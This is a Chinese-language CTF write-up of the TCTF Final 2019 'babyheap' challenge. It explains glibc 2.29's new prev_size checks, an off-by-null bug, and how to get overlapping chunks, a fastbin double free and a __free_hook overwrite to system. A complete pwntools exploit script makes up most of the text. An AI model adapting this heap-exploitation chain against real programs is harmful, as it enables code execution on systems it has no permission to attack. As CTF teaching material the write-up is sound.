TCTF_Final 2019 babyheap

TCTF 决赛的babyheap,libc是2.29的,趁着有时间复现一下。

题目描述

libc2.29

在libc2.29中加了对off by null利用的check,通常如果题目中有off by null的漏洞的话,常见的利用方式是伪造一个chunk的prev_size,通过off by null覆盖这个chunk的prev_inuse位,构造好前一个chunk真正的prev_size,使其通过unlink的检查,释放这个chunk,因为前一个chunk处于freed状态,触发unlink进行chunk的合并,从而得到重叠的chunk,也就是下面的过程:

1
2
3
4
5
6
7
8
//glibc-2.27 ./malloc/malloc.c _int_free()
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

在libc2.29中,在进行unlink之前,又加了对prev_size的check

1
2
3
4
5
6
7
8
9
10
//glibc-2.29 ./malloc/malloc.c _int_free()
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize)) //patch
malloc_printerr ("corrupted size vs. prev_size while consolidating"); //patch
unlink_chunk (av, p);
}

在malloc_consolidate中也加了类似的check:

1
2
3
4
5
6
7
8
9
//glibc-2.29 ./malloc/malloc.c static void malloc_consolidate(mstate av)
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize)) //patch
malloc_printerr ("corrupted size vs. prev_size in fastbins"); //patch
unlink_chunk (av, p);
}

假设被off by null的chunk为B,它的前一个chunk为A(由prev_size得到的前一个chunk),那么在代码中prevsize是由B的prev_size得到的,通常是我们伪造的,chunksize(p)中p是A,代码对A的size和我们伪造的prevsize又做了check,如果两者不相等,则会报错。此时如果想在A和B中重叠一个未free的chunk就会报错了。
另外,因为libc是2.29的,对tcache中的double free也做了检查,具体可以看starstf的girlfriend这道题目。

题目漏洞

在edit的功能的read函数中有一个off by null的漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 __fastcall sub_189A(__int64 buf, unsigned __int64 len)
{
unsigned __int64 v3; // [rsp+10h] [rbp-10h]
ssize_t v4; // [rsp+18h] [rbp-8h]

if ( !len )
return 0LL;
v3 = 0LL;
while ( v3 < len )
{
v4 = read(0, (void *)(v3 + buf), len - v3);
if ( v4 > 0 )
{
v3 += v4;
}
else if ( *__errno_location() != 11 && *__errno_location() != 4 )
{
break;
}
}
*(_BYTE *)(buf + v3) = 0; //here
return v3;
}

利用过程

因为add和edit是分开的,所以可以先add来泄露libc_base和heap_base:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
##leak libc
add(0x430) #0
add(0x28) #1

delete(0)
add(0x430) #0
show(0)

p.recvuntil(": ")
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] - 0x70
print "libc_base:",hex(libc_base)

#leak heap_base
add(0xf8) #2
add(0xf8) #3
delete(2)
delete(3)

add(0xf8)
show(2)
p.recvuntil(": ")
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
heap_base = leak_addr - (0x5555555596d0 - 0x555555559000)
print "heap_base:",hex(heap_base)

关于绕过check可以在一个堆块中伪造一个fake chunk,它的fd和bk都指向自己,size也和后面伪造的prev_size相同,从而通过check,注意tcache链的填充:

1
2
3
4
5
gdb-peda$ x /8gx 0x555555559dc0
0x555555559dc0: 0x0000000000000000 0x0000000000000101
0x555555559dd0: 0x0000000000000000 0x00000000000001f1 #fake chunk
0x555555559de0: 0x0000555555559dd0 0x0000555555559dd0
0x555555559df0: 0x0000000000000000 0x0000000000000000

在delete下面这个chunk也就是idx11时触发unlink,将idx11和fake chunk合并进入到unsortedbin中。

1
2
3
4
5
gdb-peda$ x /8gx 0x555555559dd0+0x1f0
0x555555559fc0: 0x00000000000001f0 0x0000000000000100
0x555555559fd0: 0x0000000000000000 0x0000000000000000
0x555555559fe0: 0x0000000000000000 0x0000000000000000
0x555555559ff0: 0x0000000000000000 0x0000000000000000

对应的操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for i in range(9):
add(0xf8) #3 ~ 11

add(0x28) #12

for i in range(7):
delete(i+2) #2 ~ 8


##chunk overlapping
payload = '\x00' *0xf0 + p64(0x1f0)
edit(10,0xf8,payload) #off by null

payload = p64(0) + p64(0x1f1)
payload += p64(heap_base+0xdd0) * 2
edit(9,0x20,payload) #fake chunk

delete(11) #trigger unlink

然后后面就是常规的double free,避过tcache的check在fastbin中构造double free。
有一个问题是double free之后尝试将chunk的fd修改为malloc_hook-0x23没有成功,因为当tcache为空而对应的fastbin中有chunk时,会在malloc时将fastbin中的chunk移动到tcache中,如果将fd修改为malloc_hook-0x10,然后覆盖malloc_hook为one_gadget时one_gadget没有触发成功。最后是将free_hook修改为system函数地址,然后释放一个写有”/bin/sh\x00”的chunk来触发,因为在本地调试是使用脚本强行修改题目加载的libc的,如果是在libc为2.29的环境中可以成功。最后再安利一波强行加载libc的这个脚本,虽然修改了之后不能调试堆了,但是可以在堆块都调好了之后再修改,总比再搭一个题目环境要好得多。
完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
from pwn import *

context.log_level = "debug"
context.terminal = ["tmux","split",'-h']

def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None


if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)


for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\0'))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)

DEBUG = 0
if DEBUG:
p = process("./babyheap2.29")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
elf = change_ld('./babyheap2.29', './ld-2.29.so')
p = elf.process(env={'LD_PRELOAD':'./libc-2.29.so'})
libc = ELF("./libc-2.29.so")


def add(size):
p.sendlineafter("Command: ",'1')
p.sendlineafter("Size: ",str(size))

def edit(idx,size,content):
p.sendlineafter("Command: ",'2')
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",content)

def delete(idx):
p.sendlineafter("Command: ",'3')
p.sendlineafter("Index: ",str(idx))

def show(idx):
p.sendlineafter("Command: ",'4')
p.sendlineafter("Index: ",str(idx))


##leak libc
add(0x430) #0
add(0x28) #1

delete(0)
add(0x430) #0
show(0)

p.recvuntil(": ")
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] - 0x70
print "libc_base:",hex(libc_base)

#leak heap_base
add(0xf8) #2
add(0xf8) #3
delete(2)
delete(3)


add(0xf8)
show(2)
p.recvuntil(": ")
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
heap_base = leak_addr - (0x5555555596d0 - 0x555555559000)
print "heap_base:",hex(heap_base)


for i in range(9):
add(0xf8) #3 ~ 11

add(0x28) #12

for i in range(7):
delete(i+2) #2 ~ 8


##chunk overlapping
payload = '\x00' *0xf0 + p64(0x1f0)
edit(10,0xf8,payload) #off by null

payload = p64(0) + p64(0x1f1)
payload += p64(heap_base+0xdd0) * 2
edit(9,0x20,payload) #fake chunk

delete(11) #trigger unlink


##double free
add(0x68) #2
add(0x270) #3

for i in range(7):
add(0x68) #4 ~ 8 11 13

for i in range(5):
delete(i+4)
delete(11)
delete(13)

delete(2)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0xe2386
free_hook = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]


for i in range(7):
add(0x68)

edit(9,0x20,p64(0)+p64(0x71) +p64(free_hook-0x10)+p64(0))
add(0x68)

add(0x68)
edit(14,0x10,p64(system_addr)*2)
gdb.attach(p)


##trigger
edit(6,0x8,"/bin/sh\x00")
delete(6)

p.interactive()


'''
0xe237f execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe2383 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL

0xe2386 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

参考

https://github.com/perfectblue/ctf-writeups/blob/master/0ctf-finals-2019/BabyHeap-2.29/solve.py
TCTF Final 2019 slides